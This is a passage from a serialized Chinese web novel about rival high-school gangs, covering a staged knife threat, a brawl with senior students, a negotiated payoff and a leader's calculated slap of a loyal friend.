谢诗韵轻哼一声:"要不是我,你们**的事早就暴露了。乔川特意找了年级组长调监控录像,是我拦下来的,否则你们全完了。""又是他!"李辰浩眼神一冷,"他是不是活腻了?"张霆琛声音低沉:"先去吃饭,然后带他去宿舍。他该履行承诺了。"
梁颖紧张地拉住他:"张霆琛,你要做什么?别冲动!""这事你别管。"张霆琛捏了捏她的手,眼神冰冷,"我要看看,乔川的骨头有多硬。"谢诗韵挑眉:"什么承诺?"张霆琛没理她,拉着梁颖往食堂走。其他人耸耸肩,邓志辉低声对谢诗韵解释:"赌手指。"谢诗韵瞪大眼睛:"什么?如果他输了怎么办?"李辰浩回头,语气平静:"那他会把自己的手指给乔川。"说完,头也不回地走了。
谢诗韵气得跺脚:"一个个的,摆什么酷!"邓志辉凑过来,笑嘻嘻道:"谢大小姐,要不要我帮你融入我们这个圈子?"谢诗韵狐疑地看着他:"你会这么好心?""有条件。"邓志辉压低声音,"11班的彭思思,你认识吧?"谢诗韵瞬间明白,眯起眼睛:"你想让我帮你追她?"邓志辉点头:"你帮我搞定彭思思,我帮你和大家打成一片。但先说好,我不会帮你追张霆琛,这事我不干。"谢诗韵咬了咬唇:"行!成交!"
邓志辉满意地笑了:"在我们宿舍,张霆琛说了算,其次是李辰浩。李辰浩不管别的,只管张霆琛的安全,但他威信很高,身手不错。至于路译,他是盟友,不算我们的人。还有个去当兵的,是陈曦的男朋友。"谢诗韵若有所思:"张霆琛到底是什么来头?连你爸都认可他?"邓志辉笑容收敛:"别问太多。你只要知道,他是靠自己站起来的男人。"谢诗韵的目光更深了,她暗自下定决心,定要拿下张霆琛!
宿舍,傍晚。邓志辉和王涛把乔川押了进来。张霆琛坐在床边,声音平静:"说话还算话吗?"乔川冷笑:"我不信那是你自己考的!你要是真凭实力,就不会让人销毁录像带!"张霆琛笑了:"所以,那个一直盯着我的监考老师,也是你安排的?""是又怎样!"乔川梗着脖子。
"嘴硬是吧?"王涛一把揪住他的衣领,"愿赌服输,一根手指!""那不是他自己考的!"乔川还在狡辩。下一秒,张霆琛猛地起身,速度快得让人眼前一花。他伸手,李辰浩从床底抽出一把**,递了过去。张霆琛握刀,一脚踹倒乔川:"按住他!"
王涛和林凯立刻压住乔川,李辰浩掰开他的手掌。张霆琛刀尖抵在乔川的小指上,声音冰冷:"说好的事,不认账可不行。"乔川终于慌了,声音发抖:"你、你不能!我爸不会放过你的!"刀光一闪,"啊!"杀猪般的惨叫响彻宿舍。
张霆琛的**精准地劈在乔川的手指缝间,刀刃深深嵌入桌面,却连乔川的皮都没擦破。但乔川早已吓得魂飞魄散,杀猪般的嚎叫回荡在宿舍里,仿佛真的被剁了手指。张霆琛缓缓收刀,冷眼看着瘫软在地的乔川:"这次算你走运,遇到的是我,换成我哥,呵呵,但是下次再敢耍阴招,就没这么简单了。"
乔川浑身发抖,嘴唇哆嗦着点头,连滚带爬地往外跑。王涛一脚踹在他屁股上:"滚吧!"乔川跌跌撞撞地冲出宿舍,走廊上的学生纷纷侧目,不敢相信这个平日里趾高气扬的优等生竟会如此狼狈。他冲进厕所,拧开水龙头,冰冷的水浇在脸上,却浇不灭他心中的怒火。"张霆琛,你给我等着!"乔川盯着镜子里的自己,眼神阴狠。
宿舍里,众人松了口气。彭志龙拍了拍胸口:"吓死我了,我还以为你真要剁他手指。"邓志辉也擦了擦汗:"我也是,差点以为你要玩真的。"林凯突然问:"对了,你刚才说你还有个哥哥?"
张霆琛表情一僵,随即摆摆手:"说着玩的。"
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就在这时,路译推门进来,懒洋洋地靠在门框上:"收拾东西,搬宿舍了。""这么快?不是晚上才换吗?"张霆琛问。路译咧嘴一笑:"前两百名的特权,中午就能挑位置,咱们抄得这么猛,全挤进前两百了。"众人欢呼一声,迅速收拾行李。
宿舍楼二层,新地盘。张霆琛一行人浩浩荡荡地搬进了二楼,直接占了半个楼层。原本住在这里的好学生们脸色难看,却又不敢说什么,只能眼睁睁看着这帮野蛮人霸占了最好的宿舍。
张霆琛的宿舍在最里面,其他人则围着他们住下,八个宿舍全都空着几张床,没人敢跟他们住一起。
到了下午,事情发酵得更快。不少学生主动找上门,希望能加入他们。毕竟,谁不想住进带空调、大柜子的好宿舍?短短半天,张霆琛的队伍从三十多人扩张到了六十人,彻底在高一站稳了脚跟。
晚上,天台聚餐。六十多号人挤在天台上,烧烤、啤酒、外卖堆了一地。气氛热烈,就连平时内向的梁颖都被带动起来,虽然仍有些不适应,但至少没再躲着。谢诗韵倒是如鱼得水,端着饮料和男生们谈笑风生,时不时还挑衅地瞥张霆琛一眼。
这时,一个陌生男生站起来提议:"咱们这么多人,不如起个名字,成立个组织吧?"众人起哄:"对!起个名字!"但很快,有人问出了最关键的问题:"那谁当老大?"全场瞬间安静。张霆琛站起身,语气淡然:"没必要选老大,大家一起玩就行。"邓志辉立刻附和:"就是,搞那么复杂干嘛?"路译也点头:"对,开心最重要。"表面上,气氛和谐,但暗流涌动。
回到宿舍后,真正的讨论才开始。邓志辉瘫在新宿舍的床上,满足地感叹:"空调、大柜子,这才叫生活啊!"李辰浩坐到张霆琛旁边,低声问:"今天的事,你怎么看?"张霆琛淡淡道:"不急,路译早晚会是我们的人。"邓志辉插嘴:"那可不一定,路译这人喜欢单干,让他低头可不容易。"
王涛皱眉:"要不要把我们的人和路译的人分开?混在一起,谁说了算?""不行。"张霆琛摇头,"现在必须团结,哪怕把人全给路译都行。""六十号人全给他?"王涛瞪大眼睛。"小不忍则乱大谋。"张霆琛目光深邃,"放心,用不了多久,我会拉起百人队伍。"就在这时,邓志辉突然压低声音:"外面有人偷听。"李辰浩一愣,张霆琛却不动声色地笑了笑:"这几句话,本来就是给路译听的。"
路译宿舍内。一个小弟兴奋地汇报:"路哥,我刚偷听到张霆琛说,他一个人都不要,全让给咱们!"路译挑眉:"他真这么说?""千真万确!他还说,早晚会拉起百人队伍,现在不和咱们争。"路译眯起眼,轻笑一声:"有意思,张霆琛,有魄力啊。"小弟问:"那这些人,咱们收吗?""收!"路译毫不犹豫,"既然他不要,咱们全盘接收!不过别太明显,愿意跟咱们的就要,不愿意的别勉强。"
他得意地靠在床头,却没意识到,贪小利者,必失大局。而张霆琛,等的就是这个机会。
第七十一章:争吵与冲突
清晨,宿舍内。"二哥,快看,下雪了!"土狗猛地拉开窗帘,兴奋地喊道。"真的假的?"王涛一个鲤鱼打挺从床上蹦下来,光着脚冲到窗边,随即发出一声怪叫,手忙脚乱地套上衣服冲了出去。
张霆琛一脸莫名其妙:"至于这么激动?""二哥,广市很少下这么大的雪!"土狗解释道,"你看,地上都积了这么厚一层,十年都未必能见一次!"张霆琛望向窗外,银装素裹的校园让他忽然想起梁颖,在雪中接吻,会是什么感觉?
这个念头一闪而过,他立刻抓起外套往外冲。"他怎么也这么兴奋?"土狗挠头。邓志辉坏笑:"看他那表情,明显是发春了!""走,跟上去看看!"林凯唯恐天下不乱地提议。于是,这个平日里最晚起床的宿舍,今天破天荒地全员早起。众人站在雪地里,呼出的白气在空气中凝结。邓志辉左右张望:"二哥人呢?""那边!"彭志龙指向女生宿舍方向。
"他去那儿干嘛?"李辰浩皱眉。"我就说是发春了!"邓志辉哈哈大笑。"走,过去瞧瞧!"王涛突然抓起一团雪,狠狠砸在邓志辉脸上,转身就跑。邓志辉"嗷"地一声追了上去,两人一路打闹,直到看见张霆琛站在女生宿舍楼下"梁颖!我爱你!"张霆琛仰头大喊,声音在寂静的雪地里格外清晰。
"**……"邓志辉目瞪口呆,"这也太猛了吧?"王涛怂恿道:"你也来啊!不然彭思思该吃醋了!"邓志辉脑子一热,站到张霆琛旁边,扯着嗓子喊:"彭思思!我的思思!我爱你!"两个神经病的举动瞬间引爆了整个高一宿舍楼,窗户一扇接一扇打开,无数脑袋探出来看热闹。没过多久,梁颖和彭思思红着脸冲下楼,一人拽一个,把他们拖进了小花园。张霆琛心里美滋滋的,以为会得到一个温柔的吻,结果梁颖一拳捶在他胸口,气鼓鼓地瞪着他:"你疯了吗?丢**了!"说完转身就走。另一边,邓志辉也被彭思思狠狠踩了一脚,痛得龇牙咧嘴。两人面面相觑,完全不明白自己错在哪。
早餐时,梁颖和彭思思故意坐得远远的,连看都不看他们一眼。谢诗韵端着餐盘坐到张霆琛旁边,似笑非笑:"没想到你这么浪漫啊?""关你屁事。"张霆琛没好气。"就会凶我,"谢诗韵撇嘴,"先想想怎么哄你家梁颖吧。"张霆琛皱眉,"你们什么时候这么熟了?"
"我们本来就很好啊,"谢诗韵得意道,"现在我和陈曦、彭思思,还有几个姐妹住一起。"张霆琛一愣,梁颖居然主动和谢诗韵住一起?他看向梁颖,对方却"哼"了一声,拉着女生们直接离开了食堂。最后,只有陈曦留下来,无奈地对张霆琛说:"你们这么闹,让人家女孩多没面子?"
"先不说这个,"张霆琛压低声音,"你们怎么会让谢诗韵住进去?"陈曦反问:"我们的目标是什么?""怎么跟大哥似的,打哑谜。"陈曦直视他,"我们需要势力。谢诗韵背后的资源,对我们很有用。"张霆琛冷笑:"所以梁颖也同意?""她比你想得通透,"陈曦叹气,"二哥,经历了这么多,你该明白只有实力才是一切。"张霆琛沉默片刻,最终只丢下一句:"走一步看一步吧。"
上午,赖军组织全班扫雪。张霆琛正想找机会哄梁颖,却发现操场另一端**了一群人,路译站在最前面,似乎和人起了争执。"我去看看。"张霆琛抬脚就要走。梁颖一把拉住他:"别去行吗?还嫌事不够多?"
"万一打起来呢?""你就不能安分一天吗?"梁颖声音提高,"整天兄弟兄弟的,你上学是为了打架吗?"张霆琛皱眉:"你今天怎么回事?""我不是胡搅蛮缠!"梁颖眼眶发红,"我是想让你明白,什么才是重要的!"
两人僵持不下,张霆琛最终甩开她的手:"你要么跟我一起去,要么在这等着。"梁颖咬牙:"你要是去,我们就分手!"张霆琛脚步一顿,却没有回头”我们在一起的时候你也知道我是什么人”说完便走向冲突中心。身后,梁颖的眼泪砸在雪地上,融出一个个小坑。
张霆琛站在人群外围,冷眼旁观着路译和高三学生的对峙。李辰浩走过来,低声道:"路译和高三的因为抢场地吵起来了。""就为这点事?"张霆琛皱眉。邓志辉嗤笑一声:"路译现在膨胀得很,收了那么多人,连高三的都敢惹了。""最好别结仇,"李辰浩沉声道,"高三那帮人不好惹。""怕什么!来一个干一个!"王涛撸起袖子,一副跃跃欲试的样子。
场中路译已经和高三学生推搡起来,气氛剑拔**张。李辰浩看向张霆琛:"帮不帮?""再看看,"张霆琛眯起眼,"现在正是让外界分清我们和路译的好机会。"邓志辉咧嘴一笑:"我就知道你在打这个主意。""你知道的太多了,"张霆琛半开玩笑地掐住他脖子,"在古代早把你灭口了。"
就在这时,一个身材修长的高三男生慢悠悠地晃过来,饶有兴趣地问
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:"你们不一起的?""关系还行。"张霆琛淡淡道。男生挑眉:"那待会打起来,你们不帮忙?""路译挺能打的,"林凯插嘴,"用不着我们。"男生意味深长地看了张霆琛一眼:"现在不都传你是高一老大吗?"张霆琛笑了:"什么老大,就是瞎玩。真要论势力,你还不如问问刘振平和路译。"
话未说完,那边已经打起来了。路译率先动手,双方瞬间混战成一团。张霆琛七人抱臂旁观,丝毫没有插手的意思。高三男生见状,若有所思地站到一旁。战斗结束得很快,路译仗着人多,把几个高三学生揍趴下了。张霆琛这才走过去,拍了拍路译肩上的雪:"身手见长啊。"路译得意一笑:"几个高三的而已,不够看。""**再说一遍?!"地上一个高三学生怒吼。先前那个观战的高三男生突然走过来,冷冷道:"还嫌不够丢人?"
一瞬间,所有高三学生都噤了声。男生走到路译面前,语气平静:"狂可以,但要有本钱。这次我不管,但建议你在这所学校低调点。"说完,他目光在张霆琛身上停留了一秒,转身离去。路译还想说什么,被张霆琛一把拉住:"这人不好惹,见好就收吧。"
事后,校园小径。"刚才那人谁啊?"张霆琛问。邓志辉摇头:"没见过。高三现在分**,韩越是公认的领头人,但平时不管事;剩下是''三金刚'',各自为政。""水真深"张霆琛喃喃道。"对了,"土狗突然插嘴,"刚才看你和嫂子吵架了?"张霆琛脸色一沉:"别提了。"
"因为什么烦人呢?"谢诗韵不知从哪冒出来,笑吟吟地问。"关你什么事?"张霆琛头也不抬。谢诗韵撇撇嘴,正要说话,梁颖走了过来。"我们能不吵架吗?"她轻声问。张霆琛冷笑:"是你能不找茬吗?""那我道歉行吗?"梁颖眼眶发红。下一秒,张霆琛一把将她搂进怀里:"我有我的处事方式,但刚才我也有错。不吵了。"梁颖"哇"地哭出声,引得周围学生纷纷侧目。
高三据点,几个挨打的高三学生聚在一起,面前站着个铁塔般的男生。"鸣哥,我们给高三丢人了……"被称作鸣哥的男生一脚踹过去:"挨打就挨打,道什么歉!谁干的?""路译那帮高一的""张霆琛参与没?""没有,他们好像不是一伙的。"鸣哥冷笑:"管他是不是一伙的!约他们中午后楼见,一块收拾!"几个高三学生顿时兴奋起来,转身跑去下战书。
第七十二章:高三来人
张霆琛站在那里,看着路译在雪地里肆意地笑着,带着一群高一的新生打着雪仗,笑声在寒冷的空气中格外刺耳。没过多久,一个高三的学生走了过来,眼神冷峻,声音低沉地问:“谁是路译?”
“我就是,有事?”路译连头都没抬,语气里透着不屑。那人冷笑了一声,心想这个高一的新生果然够狂,便说道:“我们鸣哥中午想请你去后楼聊聊。”
“什么狗屁鸣哥,没听过!”路译的小弟立刻跳出来,嚣张地喊道。路译也没拦着,反而嘴角勾起一抹满意的笑。高三的学生脸色一沉,强压着怒火说道:“去不去随你们,但想在这学校混下去,我劝你们最好识相点。”说完,他转身就要走。
然而,路译的人动作更快,几个人直接围了上去,堵住他的去路。“这就想走?既然来了,就别想轻易离开!”其中一人说完,一记直拳直接砸在那人脸上,将他打倒在地。那人还想挣扎着站起来,却被一群人淹没在拳脚之中。
两分钟后,路译拉开人群,居高临下地看着地上的高三学生,冷冷道:“以后来高一的地盘,记得客气点,懂吗?”“呵,你嚣张不了多久了!”那人吐出一口血沫,眼神阴狠,“路译,别以为你在高一混得开,高三就没人治得了你!我老大是**,高三的**!”
“**”路译心里猛地一沉,这个名字他当然听过,高三三大金刚之一,传闻中**在高二时就因为挑断别人的手筋脚筋而扬名。他这次是真的踢到铁板了。可众目睽睽之下,他不能怂,只能硬着头皮冷笑:“我跟**无冤无仇,他要是想找刺激,老子奉陪到底!”
路译的小弟们一听,更加嚣张,骂骂咧咧地围上来,仿佛随时准备冲上去拼命。路译拦住了他们,故作轻松地说道:“留他一条命,让他回去报信。”这句话引来一阵哄笑,地上的高三学生气得脸色铁青,挣扎着爬起来,踉跄着离开。
张霆琛远远地看着这一幕,眉头微皱。他身旁的李辰浩低声问:“小琛,咱们要不要插手?”“先看看情况。”张霆琛淡淡道。这时,那名高三的学生路过他们身边,警惕地看了他们一眼。张霆琛主动上前,语气平和:“哥们,别紧张,我们没恶意。刚才那事儿,路译是不是做得过分了?我叫张霆琛,你怎么称呼?”
“你就是张霆琛?”那人上下打量他,“跟路译一伙的?”“呵呵,算不上。”张霆琛笑了笑,“要是路译做错了什么,我替他道个歉,行吗?”“哼!”那人冷哼一声,“这次路译惹的是鸣哥,你们要是一伙的,最好离他远点,免得引火烧身。”“多谢提醒。”张霆琛依旧客气,“哥们怎么称呼?”
“张晨阳,叫我阳哥就行。”“阳哥,刚才到底怎么回事?”张霆琛问道。张晨阳看了他一眼,语气稍微缓和:“路译打了我们鸣哥的人,今天中午鸣哥要找他算账,结果这小子还敢动手,简直不知死活!你是张霆琛是吧?”
“对。”“那你跟路译什么关系?”“没什么关系,就是问问情况。”张霆琛笑了笑,“要是路译真做错了,我替他给鸣哥道个歉,你看行吗?”“这事儿没这么简单!”张晨阳摇头,“鸣哥的脾气你不知道,路译这次必须给个交代!”
“行,那麻烦阳哥给鸣哥带个话,就说我张霆琛替路译赔个不是,其他的,就看鸣哥的意思了。”张霆琛语气诚恳。张晨阳看了他一眼,点点头:“看你态度不错,这个忙我帮了。”说完,他转身离开。
等张晨阳走远,李辰浩忍不住问:“琛哥,咱们干嘛替路译道歉?”“这是划清界限。”邓志辉在一旁解释道。“直接说不就完了?”王涛挠挠头。“如果让路译知道我们和他划清界限,咱们就少了一个盟友。”邓志辉说道。
“可咱们替他道歉,鸣哥那边不就知道我们不是一路的了吗?”土狗插嘴道。“就算不是一路的,至少不会牵连到我们。”张霆琛淡淡道。“那要是路译找咱们帮忙怎么办?”林凯问。“那就去。”张霆琛笑了笑。“那今天这事儿不是白做了?”彭志龙一脸困惑。张霆琛摇摇头,看向邓志辉:“你给他们解释吧,这群家伙脑子转不过弯。”
邓志辉笑了
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笑,说道:“路译要是真去,咱们就去,但他根本不会去。他现在肯定在找人调解这事儿。路译不傻,他知道自己惹不起高三的人。高三那帮人看着分散,其实团结得很,动一个就等于动全部。路译应该清楚这一点,但他今天不知道抽什么风,居然敢动手。”
“那咱们现在就看戏?”李辰浩挑眉。“对,就看路译怎么低头。”张霆琛嘴角勾起一抹意味深长的笑。“二哥,路译好歹帮过咱们,这样对他是不是不太厚道?”土狗犹豫道。张霆琛看了他一眼,语气平静:“我们没有对不起路译,只是划清界限。他现在惹上高三,咱们没必要跟着他一起倒霉。路译这个人太狂,不好控制,但只要他不招惹咱们,咱们依然是朋友。但他迟早会出事,所以咱们得提前准备,免得被他拖下水。”
“二哥,你想得真多,我都跟不上了。”彭志龙挠头傻笑。张霆琛拍了拍他的肩膀,语气认真:“记住,心不狠,站不稳。只有真心的兄弟才值得信任,其他的都是假的。谁挡路,就清除谁,这就是我们的原则。”
“二哥,咱们以后真要混社会吗?”土狗小声问。张霆琛沉默片刻,目光深远:“混社会有很多种方式,但手上沾血是免不了的。但我今天把话放在这儿,不管你们以后还跟不跟着我,你们都是我可以用命换的兄弟。如果有人不想继续,随时告诉我,咱们依然是兄弟。”
“二哥,你在哪儿我就在哪儿!”彭志龙拍着胸脯,“别说混社会,就是上刀山下火海,我也跟定你了!”张霆琛笑了,目光扫过每一个人:“谢谢你们。我不知道将来会怎样,也许我们会像流星一样短暂,但我们的存在,一定会让所有人记住,我们是挥之不去的传奇!”众人被他的话点燃,热血沸腾。而此刻的豪言壮语,在未来的某一天,真的成了张霆琛的写照。
另一边,张晨阳回到**面前,将路译的嚣张态度添油加醋地说了一遍。**的脸色瞬间阴沉,拳头捏得咯咯作响:“好一个路译,真以为高一就能翻天了?我要让他知道,惹错人的代价!”
第七十三章:谈判
**彻底怒了。他一声令下,整个高三都开始躁动起来,走廊里到处都能听见议论声,“听说高一的路译把鸣哥的人打了?”“这下有好戏看了!”“高三和高一干起来,路译怕是要完蛋!”
消息很快传到了路译耳朵里。“译哥,现在怎么办?”大强擦着汗问道。路译手心全是冷汗,但脸上还强装镇定:“咱们暗地里还有多少兄弟?”“二十来个,加上明面上的,总共不到六十人。”
“六十人,应该够跟高三拼一把,而且还有张霆琛他们。”路译咬牙道。“可万一其他的掺和进来呢?比如李耀那帮人?”“妈的!”路译猛地踹了一脚桌子,“这也不行那也不行,难道要老子认怂?!”大强被他的暴躁吓了一跳,犹豫了一下,低声道:“要不…咱们找人调解?”
“调解?”路译瞪着他,“老子混这么久,什么时候怂到要调解?”“可咱们打不过啊。”大强硬着头皮道。路译沉默了几秒,终于顺着台阶下:“行吧,你说找谁调解?”“韩越!”“韩越?!”路译差点跳起来,“你疯了吧?咱们刚打了高三的人,现在去找他们老大调解?”
“译哥,韩越这人最讲规矩,听说他调解过不少事,咱们去找他,说不定还有转机。”路译皱眉思索片刻,终于点头:“行,你去安排,需要我出面的时候再说。”大强刚走,张霆琛一行人便走了过来。“哟,译哥,听说你要跟高三开战?”张霆琛似笑非笑地问。路译脸上的傲气瞬间收敛,挤出一丝笑容:“琛哥,你们怎么来了?”
“明知故问啊。”张霆琛耸耸肩,“你的事就是我们的事,什么时候动手?”路译干笑两声:“这事有点麻烦,高三太团结,我本来想打,但兄弟们劝我调解,我也不好让他们跟着挨打”张霆琛心里冷笑,面上却点头:“译哥够义气!要打的话随时叫我们。”
路译故作豪迈地摆摆手:“谢了!要真打起来,我自己扛,不连累你们!”“噗”王涛一个没忍住,直接笑出声。路译脸色一沉:“王涛,你什么意思?”王涛连忙摆手:“不好意思译哥,我突然想起个笑话。”路译冷哼一声,转头对张霆琛道:“我的人已经去安排了,中午有消息再通知你。”“行,译哥看着办。”张霆琛笑了笑,带人离开。
走远后,王涛忍不住骂道:“装什么装?怂成这样还摆谱?”“别急。”张霆琛眯了眯眼,“路译这种人,迟早会自己把自己玩死。”“二哥,咱们真要一直这样跟在路译后面混着?”林凯皱眉问。“再等等吧,现在还不是时候。只要他没对不起我们,”张霆琛淡淡道。
另一边,大强还真约到了韩越。更让人意外的是,韩越竟然亲自来找路译。路译一见韩越,心里咯噔一下,但还是挤出笑容递了根烟:“越哥!”韩越没接,只是淡淡地问:“找我什么事?”
路译硬着头皮道:“今天早上有点误会,能不能请越哥帮忙调解一下?”“误会?”韩越挑眉,“你打了**的人,现在跟我说是误会?”路译额头冒汗:“越哥,我们真不是故意的,您看能不能…”
“行,我可以帮你约**。”韩越打断他,“但谈不谈得成,看你自己。”路译大喜:“谢谢越哥!那什么时候”“现在。”韩越冷冷道,“你一个人跟我走。”“一、一个人?!”路译脸色瞬间变了。韩越嗤笑一声:“怎么,怕了?”路译咬牙:“我…我带个人行吗?”
韩越不耐烦地摆摆手:“随你,快点!”路译立刻对大强低声道:“去叫张霆琛,就说高三的人对他感兴趣,别说是我让的!”大强一愣:“译哥,这……”“快去!”路译瞪眼。大强只好硬着头皮去找张霆琛。
“琛哥,高三的人点名要你去谈判,而且只能一个人。”众人脸色一变,李辰浩立刻拉住张霆琛:“小琛,别去!”张霆琛却笑了:“机会是自己创造的。”他拍了拍李辰浩的肩,转身跟着大强离开。路译见张霆琛来了,立刻迎上去假惺惺道:“琛哥,不好意思,高三的人非要你去”张霆琛淡淡一笑:“译哥的事就是我的事。”
他走到韩越面前,两人对视一眼,同时一愣“是你?”韩越饶有兴趣地打量着张霆琛,张霆琛也看着他,“越哥?”韩越笑了:“有意思,走吧。”路译心里发虚,但只能硬着头皮跟上。张霆琛和路译跟在韩越身后,穿过高三的教学楼。走廊两侧,三三两两的高三学生聚在一起抽烟、打闹,见到韩越走来,纷纷停下动作,恭敬地喊一声:“越哥好!”
路译心里暗暗吃惊,这韩越在高三的威望,竟然高到这种地步?韩越带着他们拐进一个僻静的角落,四周空无一人。路译瞬间绷紧了神经,手不自觉地攥紧。韩越瞥了他一眼,嗤笑道:“怎么,怕我埋伏你?”路译脸色难看,没吭声。张霆琛拍了拍路译的肩膀,低声道:“放心,越哥不是那种人。”
韩越靠在墙上,懒洋洋地笑了:“别给我戴高帽,我可没你想的那么正派。”气氛一时有些僵硬。没过多久,远处传来脚步声。一个戴着银链子的男生大步走来,大冬天还敞着校服外套,露
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出里面的黑色T恤,身后跟着两个膀大腰圆的小弟。“越哥!”**冲韩越点点头,目光随即落在路译和张霆琛身上,眼神阴冷。
韩越抬了抬下巴:“人带来了,你自己看着办。”“操!**耍我?!”路译猛地炸了,差点冲上去。张霆琛一把拽住他,低喝道:“冷静点!”随即转向**,语气诚恳:“鸣哥,我兄弟脾气冲,我替他道歉。”**冷笑:“你算什么东西?我问的是谁是路译?”
空气瞬间凝固。张霆琛咬了咬牙,上前一步:“我是。”**眯起眼,大步逼近。韩越突然伸手拦了一下,淡淡道:“行了,跟高一的小孩较什么劲?”**哼了一声:“现在高一的都这么狂?一个小弟都敢跳出来装逼?”这句话像刀子一样扎在路译心上,他拳头捏得咯咯响,但张霆琛死死按着他的手腕,示意他别冲动。“鸣哥,今天这事是我们不对。”张霆琛放低姿态,“您划条道,我们照办。”
**盯着他看了几秒,忽然笑了:“行,给你个面子。第一,给我兄弟当面道歉;第二,拿一千块钱出来,这事就算了。”“没问题。”张霆琛立刻答应。“周五放学,地方你们定。”**说完,转身就走。韩越冲张霆琛笑了笑:“你小子有点意思。”张霆琛微微点头:“谢越哥。”
离开高三的地盘后,路译猛地甩开张霆琛的手,脸色阴沉:“谢了。”张霆琛皱眉:“你今天太冲动了。”路译没理他,转身就走。张霆琛盯着他的背影,眼神渐冷。“操!路译这狗东西!”王涛一拳砸在墙上,“二哥你替他挡枪,他倒好,甩脸子就走?”邓志辉冷笑:“看来咱们高一的‘老大’,骨子里就是个怂包。”
“现在看清他也不晚。”张霆琛淡淡道,“以后防着点就行,现在还不能完全撕破脸,毕竟我们高一高二还有敌人,而且他现在人多,忍忍吧,好好计划一下。”“那周五的饭局怎么办?”李辰浩问。“去,当然去。”张霆琛嘴角勾起一抹冷笑,“我倒要看看,路译还能玩出什么花样。”
另一边,**和韩越靠在走廊尽头抽烟。“越哥,你干嘛帮他们?”**不解。韩越吐了个烟圈,笑道:“让他们掏钱不比挨揍强?再说了,那个张霆琛,有点意思。”**皱眉:“听过,他不是跟着路译混的?”“呵,你信?”韩越弹了弹烟灰,“路译这种人,迟早被张霆琛吃了。”**眼神一狠:“妈的,敢换个人来道歉耍我?周五我非让路译跪着道歉!”韩越笑而不语,心里却想着这场戏,才刚刚开始。
第七十四章:掌掴
路译一脚踹开宿舍门,脸色阴沉得像要滴出水来。他抓起桌上的水杯狠狠砸向墙壁,"砰"的一声脆响,玻璃碎片四溅。"译哥,怎么了?"大强连忙拦住他"张霆琛那个王八蛋!"路译咬牙切齿,"在韩越面前装什么大尾巴狼?老子用得着他出头?"大强皱眉:"可琛哥确实帮你解围了"
"解围?"路译冷笑,"他就是在踩老子的脸!现在全高一都他妈觉得我路译是靠他张霆琛才活着回来的!"大强欲言又止。他太了解路译了,不是因为张霆琛,而是路译自己在谈判时露了怯,现在恼羞成怒罢了。
"周五的饭局怎么办?"大强转移话题,"真要请**?"路译眼中闪过一丝阴狠:"请,当然要请。不过这钱谁出,可就不一定了。"大强心头一紧:"你不会想让琛哥""怎么?不行?"路译猛地揪住大强的衣领,"**到底站哪边的?"大强一把推开他:"路译!你讲点道理!骗琛哥去谈判已经够不地道了,现在还想坑人家钱?"路译被推得踉跄两步,脸色更加难看。但很快,他又换上笑脸:"强子,我这不是手头紧嘛,一会咱们找杨炎商量一下。看看能不能这个钱他来拿!”
“那人家要是不答应呢?”“老子上回的忙是白帮的吗?总得让他出点血吧!”路译说道。张霆琛在毫不知情的情况下就要被路译算计了,但是路译他们正在聊天的时候正好有一个人回来拿手套,结果正好听见路译在那里发脾气,就好奇的凑过来听听。不听还好,这一下正好听见了路译小阴谋和对张霆琛不满意,并且知道了杨炎去高三并不是**的要求,而是路译怕挨打,把张霆琛骗过去的!
这个人是后来加入他们的,但是听见路译这么不仗义,便决定跟着张霆琛他们,因此他就决定吧听见的事情告诉张霆琛。这个人叫陈永,等他把事情告诉张霆琛的时候,张霆琛还没说什么,"操!"王涛抄起钢管就要往外冲,"老子今天非废了他不可!"张霆琛一把按住他:"急什么?"
"这还能忍?"王涛瞪大眼睛,"他算计你去谈判,现在还想让你当冤大头!"邓志辉忽然笑了:"二哥,这是个机会。"张霆琛点点头,在陈永耳边低语几句。陈永眼睛一亮,转身就跑。"你跟他说啥了?"王涛一脸懵。张霆琛笑而不答,抓起雪球砸向邓志辉:"打雪仗啊,愣着干嘛?"十分钟后,整个高一都在传,路译怕挨打,才骗张霆琛去谈判。
路译还没反应过来,张霆琛就带着人找上门来。"译哥,"张霆琛一脸诚恳,"今天在高三我擅自做主,这钱必须我来出。"路译心里乐开花,表面却假惺惺推辞:"这怎么行?我是大哥,哪能让你...""放屁!"大强突然打断,"译哥,这钱咱们自己出!"路译狠狠瞪了大强一眼。
就在这时,陈永在人群中高喊:"译哥,你倒是说说,为什么非要带琛哥去谈判?"张霆琛"大怒",一把揪住陈永:"**胡说什么!""我怎么胡说了?"陈永挣开他,"**根本不知道琛哥会去!"沈威站起来说道“是高三的人对琛哥感兴趣我才叫上他的,这件事怎么了?”
“我怎么听说是你特意叫上琛哥的,怕自己挨打?”这句话一出所有人都互相看看然后看着路译,希望给出一个答案。路译想上手打他,但是一动手就等于是掩饰自己的心虚。路译耸耸肩说道“不信你可以问张霆琛这件事怎么回事!”所有人把目光投向张霆琛。刚要说话旁边的王涛便说道“到了高三**都不知道二哥要来,所以就是路译你自己怕死才叫上二哥的!”啪!
一声清脆的声音,张霆琛一嘴巴打在了王涛的脸上。
王涛捂着脸狠狠的看着路译,然后又委屈的看着张霆琛说道“二哥你打**嘛?我说的是事实!”说完王涛便推开堵在门口的人离开了。张霆琛此时非常生气,最起码是表面非常生气。对路译说“我兄弟不懂事,译哥你别介意。周五的事情就交给我吧。”说完便出去追王涛。
张霆琛一路小跑追着王涛,小花园的长椅上,王涛一个人坐着,背影显得格外倔强。他低着头,用脚尖狠狠地碾着地上的落叶,仿佛要把所有的不满都发泄在那可怜的叶子上。张霆琛放缓脚步走过去,李辰浩、邓志辉他们也陆续跟了过来。
"喂!"张霆琛喊了一声,但王涛连头都没抬,起身就要走。张霆琛眼疾手快,一把拽住他的胳膊,"你这么大个人怎么还跟小孩似的?听我解释一下行不行?""解释什么啊?"王涛猛地甩开他的手,转过身来,眼睛红红的,"我就知道你当着那么多人打了我了!"
"呦呦,怎么还要掉眼泪啊!怎么回事!"邓志辉在一旁起哄,笑得没心没肺。王涛狠狠地瞪了邓志辉一眼,使劲抹了一下眼睛,"风大!吹的!"他的声音有些发颤,显然在极力控制情绪。张霆琛叹了口气,坐在长椅上,拍了拍身边的位置。王涛犹豫了一下,还是坐了下来,但刻意与他保持了一段距离。
"知道为什么打你吗?"张霆琛问。"不知道!"王涛依旧气呼呼的,"为了收买人心。"张霆琛压低声音,"我早就知道你会当着那么多人的面揭穿路译,所以才打了你。"王涛猛地转过头,眼睛瞪得溜圆,"这么说你早就知道我会怎么干了?"
